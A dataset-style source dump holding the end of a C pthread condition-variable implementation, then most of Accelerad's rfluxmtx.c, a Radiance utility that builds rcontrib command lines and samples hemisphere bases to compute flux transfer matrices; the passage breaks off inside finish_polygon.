spurious_wakeup_count = 0;
while (1)
{
if (!timedsuspend(self, abstime)) {
int was_on_queue;
/* __pthread_lock will queue back any spurious restarts that
may happen to it. */
__pthread_lock(&cond->__c_lock, self);
was_on_queue = remove_from_queue(&cond->__c_waiting, self);
__pthread_unlock(&cond->__c_lock);
if (was_on_queue) {
__pthread_set_own_extricate_if(self, 0);
__pthread_mutex_lock(mutex);
return ETIMEDOUT;
}
/* Eat the outstanding restart() from the signaller */
suspend(self);
}
if (THREAD_GETMEM(self, p_condvar_avail) == 0
&& (THREAD_GETMEM(self, p_woken_by_cancel) == 0
|| THREAD_GETMEM(self, p_cancelstate) != PTHREAD_CANCEL_ENABLE))
{
/* Count resumes that don't belong to us. */
spurious_wakeup_count++;
continue;
}
break;
}
__pthread_set_own_extricate_if(self, 0);
/* The remaining logic is the same as in other cancellable waits,
such as pthread_join sem_wait or pthread_cond wait. */
if (THREAD_GETMEM(self, p_woken_by_cancel)
&& THREAD_GETMEM(self, p_cancelstate) == PTHREAD_CANCEL_ENABLE) {
THREAD_SETMEM(self, p_woken_by_cancel, 0);
__pthread_mutex_lock(mutex);
__pthread_do_exit(PTHREAD_CANCELED, CURRENT_STACK_FRAME);
}
/* Put back any resumes we caught that don't belong to us. */
while (spurious_wakeup_count--)
restart(self);
__pthread_mutex_lock(mutex);
return 0;
}
int pthread_cond_timedwait(pthread_cond_t *cond, pthread_mutex_t *mutex,
const struct timespec * abstime)
{
/* Indirect call through pointer! */
return pthread_cond_timedwait_relative(cond, mutex, abstime);
}
libpthread_hidden_def(pthread_cond_timedwait)
int pthread_cond_signal(pthread_cond_t *cond)
{
pthread_descr th;
__pthread_lock(&cond->__c_lock, NULL);
th = dequeue(&cond->__c_waiting);
__pthread_unlock(&cond->__c_lock);
if (th != NULL) {
th->p_condvar_avail = 1;
WRITE_MEMORY_BARRIER();
restart(th);
}
return 0;
}
libpthread_hidden_def(pthread_cond_signal)
int pthread_cond_broadcast(pthread_cond_t *cond)
{
pthread_descr tosignal, th;
__pthread_lock(&cond->__c_lock, NULL);
/* Copy the current state of the waiting queue and empty it */
tosignal = cond->__c_waiting;
cond->__c_waiting = NULL;
__pthread_unlock(&cond->__c_lock);
/* Now signal each process in the queue */
while ((th = dequeue(&tosignal)) != NULL) {
th->p_condvar_avail = 1;
WRITE_MEMORY_BARRIER();
restart(th);
}
return 0;
}
libpthread_hidden_def(pthread_cond_broadcast)
int pthread_condattr_init(pthread_condattr_t *attr attribute_unused)
{
return 0;
}
libpthread_hidden_def(pthread_condattr_init)
int pthread_condattr_destroy(pthread_condattr_t *attr attribute_unused)
{
return 0;
}
libpthread_hidden_def(pthread_condattr_destroy)
int pthread_condattr_getpshared (const pthread_condattr_t *attr attribute_unused, int *pshared)
{
*pshared = PTHREAD_PROCESS_PRIVATE;
return 0;
}
int pthread_condattr_setpshared (pthread_condattr_t *attr attribute_unused, int pshared)
{
if (pshared != PTHREAD_PROCESS_PRIVATE && pshared != PTHREAD_PROCESS_SHARED)
return EINVAL;
/* For now it is not possible to shared a conditional variable. */
if (pshared != PTHREAD_PROCESS_PRIVATE)
return ENOSYS;
return 0;
}
| 30.092063 | 95 | 0.712206 |
9bbe0479ac9726b41265cffd671896a82463e361 | 37,172 | c | C | src/util/rfluxmtx.c | nljones/Accelerad | 28c0d346dfdf417c284bdd4c2e7bd9403dfdb12c | [
"BSD-3-Clause-LBNL"
] | 41 | 2017-05-17T18:56:53.000Z | 2022-03-08T16:38:57.000Z | src/util/rfluxmtx.c | nljones/Accelerad | 28c0d346dfdf417c284bdd4c2e7bd9403dfdb12c | [
"BSD-3-Clause-LBNL"
] | 6 | 2019-04-28T10:06:26.000Z | 2021-02-04T14:20:48.000Z | src/util/rfluxmtx.c | nljones/Accelerad | 28c0d346dfdf417c284bdd4c2e7bd9403dfdb12c | [
"BSD-3-Clause-LBNL"
] | 5 | 2019-02-27T02:45:10.000Z | 2021-01-20T21:15:56.000Z | #ifndef lint
static const char RCSid[] = "$Id: rfluxmtx.c,v 2.51 2020/03/02 22:00:05 greg Exp $";
#endif
/*
* Calculate flux transfer matrix or matrices using rcontrib
*/
#include "copyright.h"
#include <ctype.h>
#include <stdlib.h>
#include "rtio.h"
#include "rtmath.h"
#include "rtprocess.h"
#include "bsdf.h"
#include "bsdf_m.h"
#include "random.h"
#include "triangulate.h"
#include "platform.h"
#include "accelerad.h"
#ifndef MAXRCARG
#define MAXRCARG 10000
#endif
char *progname; /* global argv[0] */
int verbose = 0; /* verbose mode (< 0 no warnings) */
#ifdef ACCELERAD
#define ACCEL_CHARS 10 /* length of "accelerad_" string */
char *rcarg[MAXRCARG + 1] = { "accelerad_rcontrib", "-fo+" };
#else
char *rcarg[MAXRCARG+1] = {"rcontrib", "-fo+"};
#endif
int nrcargs = 2;
const char overflowerr[] = "%s: too many arguments!\n";
#define CHECKARGC(n) if (nrcargs >= MAXRCARG-(n)) \
{ fprintf(stderr, overflowerr, progname); exit(1); }
int sampcnt = 0; /* sample count (0==unset) */
char *reinhfn = "reinhartb.cal";
char *shirchiufn = "disk2square.cal";
char *kfullfn = "klems_full.cal";
char *khalffn = "klems_half.cal";
char *kquarterfn = "klems_quarter.cal";
/* string indicating parameters */
const char PARAMSTART[] = "@rfluxmtx";
/* surface type IDs */
#define ST_NONE 0
#define ST_POLY 1
#define ST_RING 2
#define ST_SOURCE 3
typedef struct surf_s {
struct surf_s *next; /* next surface in list */
void *priv; /* private data (malloc'ed) */
char sname[32]; /* surface name */
FVECT snrm; /* surface normal */
double area; /* surface area / proj. solid angle */
short styp; /* surface type */
short nfargs; /* number of real arguments */
double farg[1]; /* real values (extends struct) */
} SURF; /* surface structure */
typedef struct {
FVECT uva[2]; /* tangent axes */
int ntris; /* number of triangles */
struct ptri {
double afrac; /* fraction of total area */
short vndx[3]; /* vertex indices */
} tri[1]; /* triangle array (extends struct) */
} POLYTRIS; /* triangulated polygon */
typedef struct param_s {
char sign; /* '-' for axis reversal */
char hemis[31]; /* hemispherical sampling spec. */
int hsiz; /* hemisphere basis size */
int nsurfs; /* number of surfaces */
SURF *slist; /* list of surfaces */
FVECT vup; /* up vector (zero if unset) */
FVECT nrm; /* average normal direction */
FVECT udir, vdir; /* tangent axes */
char *outfn; /* output file name (receiver) */
int (*sample_basis)(struct param_s *p, int, FILE *);
} PARAMS; /* sender/receiver parameters */
PARAMS curparams;
char curmod[128];
char newparams[1024];
typedef int SURFSAMP(FVECT, SURF *, double);
static SURFSAMP ssamp_bad, ssamp_poly, ssamp_ring;
SURFSAMP *orig_in_surf[4] = {
ssamp_bad, ssamp_poly, ssamp_ring, ssamp_bad
};
/* Clear parameter set */
static void
clear_params(PARAMS *p, int reset_only)
{
while (p->slist != NULL) {
SURF *sdel = p->slist;
p->slist = sdel->next;
if (sdel->priv != NULL)
free(sdel->priv);
free(sdel);
}
if (reset_only) {
p->nsurfs = 0;
memset(p->nrm, 0, sizeof(FVECT));
memset(p->vup, 0, sizeof(FVECT));
p->outfn = NULL;
return;
}
memset(p, 0, sizeof(PARAMS));
}
/* Get surface type from name */
static int
surf_type(const char *otype)
{
if (!strcmp(otype, "polygon"))
return(ST_POLY);
if (!strcmp(otype, "ring"))
return(ST_RING);
if (!strcmp(otype, "source"))
return(ST_SOURCE);
return(ST_NONE);
}
/* Add arguments to oconv command */
static char *
oconv_command(int ac, char *av[])
{
static char oconvbuf[2048] = "!oconv -f ";
char *cp = oconvbuf + 10;
char *recv = *av++;
if (ac-- <= 0)
return(NULL);
if (verbose < 0) { /* turn off warnings */
strcpy(cp, "-w ");
cp += 3;
}
while (ac-- > 0) { /* copy each argument */
int len = strlen(*av);
if (cp+len+4 >= oconvbuf+sizeof(oconvbuf))
goto overrun;
if (matchany(*av, SPECIALS)) {
*cp++ = QUOTCHAR;
strcpy(cp, *av++);
cp += len;
*cp++ = QUOTCHAR;
} else {
strcpy(cp, *av++);
cp += len;
}
*cp++ = ' ';
}
/* receiver goes last */
if (matchany(recv, SPECIALS)) {
*cp++ = QUOTCHAR;
while (*recv) {
if (cp >= oconvbuf+(sizeof(oconvbuf)-3))
goto overrun;
*cp++ = *recv++;
}
*cp++ = QUOTCHAR;
*cp = '\0';
} else
strcpy(cp, recv);
return(oconvbuf);
overrun:
fputs(progname, stderr);
fputs(": too many file arguments!\n", stderr);
exit(1);
}
#if defined(_WIN32) || defined(_WIN64)
/* Open a pipe to/from a command given as an argument list */
static FILE *
popen_arglist(char *av[], char *mode)
{
char cmd[10240];
if (!convert_commandline(cmd, sizeof(cmd), av)) {
fputs(progname, stderr);
fputs(": command line too long in popen_arglist()\n", stderr);
return(NULL);
}
if (verbose > 0)
fprintf(stderr, "%s: opening pipe %s: %s\n",
progname, (*mode=='w') ? "to" : "from", cmd);
return(popen(cmd, mode));
}
#define pclose_al pclose
/* Execute system command (Windows version) */
static int
my_exec(char *av[])
{
char cmd[10240];
if (!convert_commandline(cmd, sizeof(cmd), av)) {
fputs(progname, stderr);
fputs(": command line too long in my_exec()\n", stderr);
return(1);
}
if (verbose > 0)
fprintf(stderr, "%s: running: %s\n", progname, cmd);
return(system(cmd));
}
#else /* UNIX */
static SUBPROC rt_proc = SP_INACTIVE; /* we only support one of these */
/* Open a pipe to a command using an argument list */
static FILE *
popen_arglist(char *av[], char *mode)
{
int fd;
if (rt_proc.pid > 0) {
fprintf(stderr, "%s: only one i/o pipe at a time!\n", progname);
return(NULL);
}
if (verbose > 0) {
char cmd[4096];
if (!convert_commandline(cmd, sizeof(cmd), av))
strcpy(cmd, "COMMAND TOO LONG TO SHOW");
fprintf(stderr, "%s: opening pipe %s: %s\n",
progname, (*mode=='w') ? "to" : "from", cmd);
}
if (*mode == 'w') {
fd = rt_proc.w = dup(fileno(stdout));
rt_proc.flags |= PF_FILT_OUT;
} else if (*mode == 'r') {
fd = rt_proc.r = dup(fileno(stdin));
rt_proc.flags |= PF_FILT_INP;
}
if (fd < 0 || open_process(&rt_proc, av) <= 0) {
perror(av[0]);
return(NULL);
}
return(fdopen(fd, mode));
}
/* Close command pipe (returns -1 on error to match pclose) */
static int
pclose_al(FILE *fp)
{
int prob = (fclose(fp) == EOF);
if (rt_proc.pid <= 0)
return(-1);
prob |= (close_process(&rt_proc) != 0);
return(-prob);
}
/* Execute system command in our stead (Unix version) */
static int
my_exec(char *av[])
{
char *compath;
if ((compath = getpath((char *)av[0], getenv("PATH"), X_OK)) == NULL) {
fprintf(stderr, "%s: cannot locate %s\n", progname, av[0]);
return(1);
}
if (verbose > 0) {
char cmd[4096];
if (!convert_commandline(cmd, sizeof(cmd), av))
strcpy(cmd, "COMMAND TOO LONG TO SHOW");
fprintf(stderr, "%s: running: %s\n", progname, cmd);
}
execv(compath, av); /* successful call never returns */
perror(compath);
return(1);
}
#endif
/* Get normalized direction vector from string specification */
static int
get_direction(FVECT dv, const char *s)
{
int sign = 1;
int axis = 0;
memset(dv, 0, sizeof(FVECT));
nextchar:
switch (*s) {
case '+':
++s;
goto nextchar;
case '-':
sign = -sign;
++s;
goto nextchar;
case 'z':
case 'Z':
++axis;
case 'y':
case 'Y':
++axis;
case 'x':
case 'X':
dv[axis] = sign;
return(!s[1] | isspace(s[1]));
default:
break;
}
#ifdef SMLFLT
if (sscanf(s, "%f,%f,%f", &dv[0], &dv[1], &dv[2]) != 3)
#else
if (sscanf(s, "%lf,%lf,%lf", &dv[0], &dv[1], &dv[2]) != 3)
#endif
return(0);
dv[0] *= (RREAL)sign;
return(normalize(dv) > 0);
}
/* Parse program parameters (directives) */
static int
parse_params(PARAMS *p, char *pargs)
{
char *cp = pargs;
int nparams = 0;
int quot;
int i;
for ( ; ; ) {
switch (*cp++) {
case 'h':
if (*cp++ != '=')
break;
if ((*cp == '+') | (*cp == '-'))
p->sign = *cp++;
else
p->sign = '+';
p->hsiz = 0;
i = 0;
while (*cp && !isspace(*cp)) {
if (isdigit(*cp))
p->hsiz = 10*p->hsiz + *cp - '0';
p->hemis[i++] = *cp++;
}
if (!i)
break;
p->hemis[i] = '\0';
p->hsiz += !p->hsiz;
++nparams;
continue;
case 'u':
if (*cp++ != '=')
break;
if (!get_direction(p->vup, cp))
break;
while (*cp && !isspace(*cp++))
;
++nparams;
continue;
case 'o':
if (*cp++ != '=')
break;
quot = 0;
if ((*cp == '"') | (*cp == '\''))
quot = *cp++;
i = 0;
while (*cp && (quot ? (*cp != quot) : !isspace(*cp))) {
i++; cp++;
}
if (!i)
break;
if (!*cp) {
if (quot)
break;
cp[1] = '\0';
}
*cp = '\0';
p->outfn = savqstr(cp-i);
*cp++ = quot ? quot : ' ';
++nparams;
continue;
case ' ':
case '\t':
case '\r':
case '\n':
continue;
case '\0':
return(nparams);
default:
break;
}
break;
}
fprintf(stderr, "%s: bad parameter string: %s", progname, pargs);
exit(1);
return(-1); /* pro forma return */
}
/* Add receiver arguments (directives) corresponding to the current modifier */
static void
finish_receiver(void)
{
char sbuf[256];
int uniform = 0;
char *calfn = NULL;
char *params = NULL;
char *binv = NULL;
char *binf = NULL;
char *nbins = NULL;
if (!curmod[0]) {
fputs(progname, stderr);
fputs(": missing receiver surface!\n", stderr);
exit(1);
}
if (curparams.outfn != NULL) { /* add output file spec. */
CHECKARGC(2);
rcarg[nrcargs++] = "-o";
rcarg[nrcargs++] = curparams.outfn;
}
/* check arguments */
if (!curparams.hemis[0]) {
fputs(progname, stderr);
fputs(": missing hemisphere sampling type!\n", stderr);
exit(1);
}
if (normalize(curparams.nrm) == 0) {
fputs(progname, stderr);
fputs(": undefined normal for hemisphere sampling\n", stderr);
exit(1);
}
if (normalize(curparams.vup) == 0) {
if (fabs(curparams.nrm[2]) < .7)
curparams.vup[2] = 1;
else
curparams.vup[1] = 1;
}
/* determine sample type/bin */
if ((tolower(curparams.hemis[0]) == 'u') | (curparams.hemis[0] == '1')) {
sprintf(sbuf, "if(-Dx*%g-Dy*%g-Dz*%g,0,-1)",
curparams.nrm[0], curparams.nrm[1], curparams.nrm[2]);
binv = savqstr(sbuf);
nbins = "1"; /* uniform sampling -- one bin */
uniform = 1;
} else if (tolower(curparams.hemis[0]) == 's' &&
tolower(curparams.hemis[1]) == 'c') {
/* assign parameters */
if (curparams.hsiz <= 1) {
fputs(progname, stderr);
fputs(": missing size for Shirley-Chiu sampling!\n", stderr);
exit(1);
}
calfn = shirchiufn; shirchiufn = NULL;
sprintf(sbuf, "SCdim=%d,rNx=%g,rNy=%g,rNz=%g,Ux=%g,Uy=%g,Uz=%g,RHS=%c1",
curparams.hsiz,
curparams.nrm[0], curparams.nrm[1], curparams.nrm[2],
curparams.vup[0], curparams.vup[1], curparams.vup[2],
curparams.sign);
params = savqstr(sbuf);
binv = "scbin";
nbins = "SCdim*SCdim";
} else if ((tolower(curparams.hemis[0]) == 'r') |
(tolower(curparams.hemis[0]) == 't')) {
calfn = reinhfn; reinhfn = NULL;
sprintf(sbuf, "MF=%d,rNx=%g,rNy=%g,rNz=%g,Ux=%g,Uy=%g,Uz=%g,RHS=%c1",
curparams.hsiz,
curparams.nrm[0], curparams.nrm[1], curparams.nrm[2],
curparams.vup[0], curparams.vup[1], curparams.vup[2],
curparams.sign);
params = savqstr(sbuf);
binv = "rbin";
nbins = "Nrbins";
} else if (tolower(curparams.hemis[0]) == 'k' &&
!curparams.hemis[1] |
(tolower(curparams.hemis[1]) == 'f') |
(curparams.hemis[1] == '1')) {
calfn = kfullfn; kfullfn = NULL;
binf = "kbin";
nbins = "Nkbins";
} else if (tolower(curparams.hemis[0]) == 'k' &&
(tolower(curparams.hemis[1]) == 'h') |
(curparams.hemis[1] == '2')) {
calfn = khalffn; khalffn = NULL;
binf = "khbin";
nbins = "Nkhbins";
} else if (tolower(curparams.hemis[0]) == 'k' &&
(tolower(curparams.hemis[1]) == 'q') |
(curparams.hemis[1] == '4')) {
calfn = kquarterfn; kquarterfn = NULL;
binf = "kqbin";
nbins = "Nkqbins";
} else {
fprintf(stderr, "%s: unrecognized hemisphere sampling: h=%s\n",
progname, curparams.hemis);
exit(1);
}
if (tolower(curparams.hemis[0]) == 'k') {
sprintf(sbuf, "RHS=%c1", curparams.sign);
params = savqstr(sbuf);
}
if (!uniform & (curparams.slist->styp == ST_SOURCE)) {
SURF *sp;
for (sp = curparams.slist; sp != NULL; sp = sp->next)
if (fabs(sp->area - PI) > 1e-3) {
fprintf(stderr, "%s: source '%s' must be 180-degrees\n",
progname, sp->sname);
exit(1);
}
}
if (calfn != NULL) { /* add cal file if needed */
CHECKARGC(2);
rcarg[nrcargs++] = "-f";
rcarg[nrcargs++] = calfn;
}
if (params != NULL) { /* parameters _after_ cal file */
CHECKARGC(2);
rcarg[nrcargs++] = "-p";
rcarg[nrcargs++] = params;
}
if (nbins != NULL) { /* add #bins if set */
CHECKARGC(2);
rcarg[nrcargs++] = "-bn";
rcarg[nrcargs++] = nbins;
}
if (binv != NULL) {
CHECKARGC(2); /* assign bin variable */
rcarg[nrcargs++] = "-b";
rcarg[nrcargs++] = binv;
} else if (binf != NULL) {
CHECKARGC(2); /* assign bin function */
rcarg[nrcargs++] = "-b";
sprintf(sbuf, "%s(%g,%g,%g,%g,%g,%g)", binf,
curparams.nrm[0], curparams.nrm[1], curparams.nrm[2],
curparams.vup[0], curparams.vup[1], curparams.vup[2]);
rcarg[nrcargs++] = savqstr(sbuf);
}
CHECKARGC(2); /* modifier argument goes last */
rcarg[nrcargs++] = "-m";
rcarg[nrcargs++] = savqstr(curmod);
}
/* Make randomly oriented tangent plane axes for given normal direction */
static void
make_axes(FVECT uva[2], const FVECT nrm)
{
int i;
if (!getperpendicular(uva[0], nrm, 1)) {
fputs(progname, stderr);
fputs(": bad surface normal in make_axes!\n", stderr);
exit(1);
}
fcross(uva[1], nrm, uva[0]);
}
/* Illegal sender surfaces end up here */
static int
ssamp_bad(FVECT orig, SURF *sp, double x)
{
fprintf(stderr, "%s: illegal sender surface '%s'\n",
progname, sp->sname);
return(0);
}
/* Generate origin on ring surface from uniform random variable */
static int
ssamp_ring(FVECT orig, SURF *sp, double x)
{
FVECT *uva = (FVECT *)sp->priv;
double samp2[2];
double uv[2];
int i;
if (uva == NULL) { /* need tangent axes */
uva = (FVECT *)malloc(sizeof(FVECT)*2);
if (uva == NULL) {
fputs(progname, stderr);
fputs(": out of memory in ssamp_ring!\n", stderr);
return(0);
}
make_axes(uva, sp->snrm);
sp->priv = (void *)uva;
}
SDmultiSamp(samp2, 2, x);
samp2[0] = sqrt(samp2[0]*sp->area*(1./PI) + sp->farg[6]*sp->farg[6]);
samp2[1] *= 2.*PI;
uv[0] = samp2[0]*tcos(samp2[1]);
uv[1] = samp2[0]*tsin(samp2[1]);
for (i = 3; i--; )
orig[i] = sp->farg[i] + uv[0]*uva[0][i] + uv[1]*uva[1][i];
return(1);
}
/* Add triangle to polygon's list (call-back function) */
static int
add_triangle(const Vert2_list *tp, int a, int b, int c)
{
POLYTRIS *ptp = (POLYTRIS *)tp->p;
struct ptri *trip = ptp->tri + ptp->ntris++;
trip->vndx[0] = a;
trip->vndx[1] = b;
trip->vndx[2] = c;
return(1);
}
/* Generate origin on polygon surface from uniform random variable */
static int
ssamp_poly(FVECT orig, SURF *sp, double x)
{
POLYTRIS *ptp = (POLYTRIS *)sp->priv;
double samp2[2];
double *v0, *v1, *v2;
int i;
if (ptp == NULL) { /* need to triangulate */
ptp = (POLYTRIS *)malloc(sizeof(POLYTRIS) +
sizeof(struct ptri)*(sp->nfargs/3 - 3));
if (ptp == NULL)
goto memerr;
if (sp->nfargs == 3) { /* simple case */
ptp->ntris = 1;
ptp->tri[0].vndx[0] = 0;
ptp->tri[0].vndx[1] = 1;
ptp->tri[0].vndx[2] = 2;
ptp->tri[0].afrac = 1;
} else {
Vert2_list *v2l = polyAlloc(sp->nfargs/3);
if (v2l == NULL)
goto memerr;
make_axes(ptp->uva, sp->snrm);
for (i = v2l->nv; i--; ) {
v2l->v[i].mX = DOT(sp->farg+3*i, ptp->uva[0]);
v2l->v[i].mY = DOT(sp->farg+3*i, ptp->uva[1]);
}
ptp->ntris = 0;
v2l->p = (void *)ptp;
if (!polyTriangulate(v2l, add_triangle)) {
fprintf(stderr,
"%s: cannot triangulate polygon '%s'\n",
progname, sp->sname);
return(0);
}
for (i = ptp->ntris; i--; ) {
int a = ptp->tri[i].vndx[0];
int b = ptp->tri[i].vndx[1];
int c = ptp->tri[i].vndx[2];
ptp->tri[i].afrac =
(v2l->v[a].mX*v2l->v[b].mY -
v2l->v[b].mX*v2l->v[a].mY +
v2l->v[b].mX*v2l->v[c].mY -
v2l->v[c].mX*v2l->v[b].mY +
v2l->v[c].mX*v2l->v[a].mY -
v2l->v[a].mX*v2l->v[c].mY) /
(2.*sp->area);
}
polyFree(v2l);
}
sp->priv = (void *)ptp;
}
/* pick triangle by partial area */
for (i = 0; i < ptp->ntris-1 && x > ptp->tri[i].afrac; i++)
x -= ptp->tri[i].afrac;
SDmultiSamp(samp2, 2, x/ptp->tri[i].afrac);
samp2[0] *= samp2[1] = sqrt(samp2[1]);
samp2[1] = 1. - samp2[1];
v0 = sp->farg + 3*ptp->tri[i].vndx[0];
v1 = sp->farg + 3*ptp->tri[i].vndx[1];
v2 = sp->farg + 3*ptp->tri[i].vndx[2];
for (i = 3; i--; )
orig[i] = v0[i] + samp2[0]*(v1[i] - v0[i])
+ samp2[1]*(v2[i] - v0[i]) ;
return(1);
memerr:
fputs(progname, stderr);
fputs(": out of memory in ssamp_poly!\n", stderr);
return(0);
}
/* Compute sample origin based on projected areas of sender subsurfaces */
static int
sample_origin(PARAMS *p, FVECT orig, const FVECT rdir, double x)
{
static double *projsa;
static int nall;
double tarea = 0;
int i;
SURF *sp;
/* special case for lone surface */
if (p->nsurfs == 1) {
sp = p->slist;
if (DOT(sp->snrm, rdir) >= FTINY) {
fprintf(stderr,
"%s: internal - sample behind sender '%s'\n",
progname, sp->sname);
return(0);
}
return((*orig_in_surf[sp->styp])(orig, sp, x));
}
if (p->nsurfs > nall) { /* (re)allocate surface area cache */
if (projsa) free(projsa);
projsa = (double *)malloc(sizeof(double)*p->nsurfs);
if (projsa == NULL) {
fputs(progname, stderr);
fputs(": out of memory in sample_origin!\n", stderr);
exit(1);
}
nall = p->nsurfs;
}
/* compute projected areas */
for (i = 0, sp = p->slist; sp != NULL; i++, sp = sp->next) {
projsa[i] = -DOT(sp->snrm, rdir) * sp->area;
tarea += projsa[i] *= (double)(projsa[i] > FTINY);
}
if (tarea < 0) { /* wrong side of sender? */
fputs(progname, stderr);
fputs(": internal - sample behind all sender elements!\n",
stderr);
return(0);
}
tarea *= x; /* get surface from list */
for (i = 0, sp = p->slist; tarea > projsa[i]; sp = sp->next)
tarea -= projsa[i++];
return((*orig_in_surf[sp->styp])(orig, sp, tarea/projsa[i]));
}
/* Uniform sample generator */
static int
sample_uniform(PARAMS *p, int b, FILE *fp)
{
int n = sampcnt;
double samp3[3];
double duvw[3];
FVECT orig_dir[2];
int i;
if (fp == NULL) /* just requesting number of bins? */
return(1);
while (n--) { /* stratified hemisphere sampling */
SDmultiSamp(samp3, 3, (n+frandom())/sampcnt);
SDsquare2disk(duvw, samp3[1], samp3[2]);
duvw[2] = -sqrt(1. - duvw[0]*duvw[0] - duvw[1]*duvw[1]);
for (i = 3; i--; )
orig_dir[1][i] = duvw[0]*p->udir[i] +
duvw[1]*p->vdir[i] +
duvw[2]*p->nrm[i] ;
if (!sample_origin(p, orig_dir[0], orig_dir[1], samp3[0]))
return(0);
if (putbinary(orig_dir, sizeof(FVECT), 2, fp) != 2)
return(0);
}
return(1);
}
/* Shirly-Chiu sample generator */
static int
sample_shirchiu(PARAMS *p, int b, FILE *fp)
{
int n = sampcnt;
double samp3[3];
double duvw[3];
FVECT orig_dir[2];
int i;
if (fp == NULL) /* just requesting number of bins? */
return(p->hsiz*p->hsiz);
while (n--) { /* stratified sampling */
SDmultiSamp(samp3, 3, (n+frandom())/sampcnt);
SDsquare2disk(duvw, (b/p->hsiz + samp3[1])/curparams.hsiz,
(b%p->hsiz + samp3[2])/curparams.hsiz);
duvw[2] = sqrt(1. - duvw[0]*duvw[0] - duvw[1]*duvw[1]);
for (i = 3; i--; )
orig_dir[1][i] = -duvw[0]*p->udir[i] -
duvw[1]*p->vdir[i] -
duvw[2]*p->nrm[i] ;
if (!sample_origin(p, orig_dir[0], orig_dir[1], samp3[0]))
return(0);
if (putbinary(orig_dir, sizeof(FVECT), 2, fp) != 2)
return(0);
}
return(1);
}
/* Reinhart/Tregenza sample generator */
static int
sample_reinhart(PARAMS *p, int b, FILE *fp)
{
#define T_NALT 7
static const int tnaz[T_NALT] = {30, 30, 24, 24, 18, 12, 6};
const int RowMax = T_NALT*p->hsiz + 1;
const double RAH = (.5*PI)/(RowMax-.5);
#define rnaz(r) (r >= RowMax-1 ? 1 : p->hsiz*tnaz[r/p->hsiz])
int n = sampcnt;
int row, col;
double samp3[3];
double alt, azi;
double duvw[3];
FVECT orig_dir[2];
int i;
if (fp == NULL) { /* just requesting number of bins? */
n = 0;
for (row = RowMax; row--; ) n += rnaz(row);
return(n);
}
row = 0; /* identify row & column */
col = b;
while (col >= rnaz(row)) {
col -= rnaz(row);
++row;
}
while (n--) { /* stratified sampling */
SDmultiSamp(samp3, 3, (n+frandom())/sampcnt);
if (row >= RowMax-1) /* avoid crowding at zenith */
samp3[1] *= samp3[1];
alt = (row+samp3[1])*RAH;
azi = (2.*PI)*(col+samp3[2]-.5)/rnaz(row);
duvw[2] = cos(alt); /* measured from horizon */
duvw[0] = tsin(azi)*duvw[2];
duvw[1] = -tcos(azi)*duvw[2];
duvw[2] = sqrt(1. - duvw[2]*duvw[2]);
for (i = 3; i--; )
orig_dir[1][i] = -duvw[0]*p->udir[i] -
duvw[1]*p->vdir[i] -
duvw[2]*p->nrm[i] ;
if (!sample_origin(p, orig_dir[0], orig_dir[1], samp3[0]))
return(0);
if (putbinary(orig_dir, sizeof(FVECT), 2, fp) != 2)
return(0);
}
return(1);
#undef rnaz
#undef T_NALT
}
/* Klems sample generator */
static int
sample_klems(PARAMS *p, int b, FILE *fp)
{
static const char bname[4][20] = {
"LBNL/Klems Full",
"LBNL/Klems Half",
"INTERNAL ERROR",
"LBNL/Klems Quarter"
};
static ANGLE_BASIS *kbasis[4];
const int bi = p->hemis[1] - '1';
int n = sampcnt;
double samp2[2];
double duvw[3];
FVECT orig_dir[2];
int i;
if (!kbasis[bi]) { /* need to get basis, first */
for (i = 4; i--; )
if (!strcasecmp(abase_list[i].name, bname[bi])) {
kbasis[bi] = &abase_list[i];
break;
}
if (i < 0) {
fprintf(stderr, "%s: unknown hemisphere basis '%s'\n",
progname, bname[bi]);
return(0);
}
}
if (fp == NULL) /* just requesting number of bins? */
return(kbasis[bi]->nangles);
while (n--) { /* stratified sampling */
SDmultiSamp(samp2, 2, (n+frandom())/sampcnt);
if (!fo_getvec(duvw, b+samp2[1], kbasis[bi]))
return(0);
for (i = 3; i--; )
orig_dir[1][i] = -duvw[0]*p->udir[i] -
duvw[1]*p->vdir[i] -
duvw[2]*p->nrm[i] ;
if (!sample_origin(p, orig_dir[0], orig_dir[1], samp2[0]))
return(0);
if (putbinary(orig_dir, sizeof(FVECT), 2, fp) != 2)
return(0);
}
return(1);
}
/* Prepare hemisphere basis sampler that will send rays to rcontrib */
static int
prepare_sampler(void)
{
if (curparams.slist == NULL) { /* missing sample surface! */
fputs(progname, stderr);
fputs(": no sender surface!\n", stderr);
return(-1);
}
/* misplaced output file spec. */
if ((curparams.outfn != NULL) & (verbose >= 0))
fprintf(stderr, "%s: warning - ignoring output file in sender ('%s')\n",
progname, curparams.outfn);
/* check/set basis hemisphere */
if (!curparams.hemis[0]) {
fputs(progname, stderr);
fputs(": missing sender sampling type!\n", stderr);
return(-1);
}
if (normalize(curparams.nrm) == 0) {
fputs(progname, stderr);
fputs(": undefined normal for sender sampling\n", stderr);
return(-1);
}
if (normalize(curparams.vup) == 0) {
if (fabs(curparams.nrm[2]) < .7)
curparams.vup[2] = 1;
else
curparams.vup[1] = 1;
}
fcross(curparams.udir, curparams.vup, curparams.nrm);
if (normalize(curparams.udir) == 0) {
fputs(progname, stderr);
fputs(": up vector coincides with sender normal\n", stderr);
return(-1);
}
fcross(curparams.vdir, curparams.nrm, curparams.udir);
if (curparams.sign == '-') { /* left-handed coordinate system? */
curparams.udir[0] *= -1.;
curparams.udir[1] *= -1.;
curparams.udir[2] *= -1.;
}
if ((tolower(curparams.hemis[0]) == 'u') | (curparams.hemis[0] == '1'))
curparams.sample_basis = sample_uniform;
else if (tolower(curparams.hemis[0]) == 's' &&
tolower(curparams.hemis[1]) == 'c')
curparams.sample_basis = sample_shirchiu;
else if ((tolower(curparams.hemis[0]) == 'r') |
(tolower(curparams.hemis[0]) == 't'))
curparams.sample_basis = sample_reinhart;
else if (tolower(curparams.hemis[0]) == 'k') {
switch (curparams.hemis[1]) {
case '1':
case '2':
case '4':
break;
case 'f':
case 'F':
case '\0':
curparams.hemis[1] = '1';
break;
case 'h':
case 'H':
curparams.hemis[1] = '2';
break;
case 'q':
case 'Q':
curparams.hemis[1] = '4';
break;
default:
goto unrecognized;
}
curparams.hemis[2] = '\0';
curparams.sample_basis = sample_klems;
} else
goto unrecognized;
/* return number of bins */
return((*curparams.sample_basis)(&curparams,0,NULL));
unrecognized:
fprintf(stderr, "%s: unrecognized sender sampling: h=%s\n",
progname, curparams.hemis);
return(-1);
}
/* Compute normal and area for polygon */
static int
finish_polygon(SURF *p)
{
const int nv = p->nfargs / 3;
FVECT e1, e2, vc;
int i;
memset(p->snrm, 0, sizeof(FVECT));
VSUB(e1, p->farg+3, p->farg);
for (i = 2; i < nv; i++) {
VSUB(e2, p->farg+3*i, p->farg);
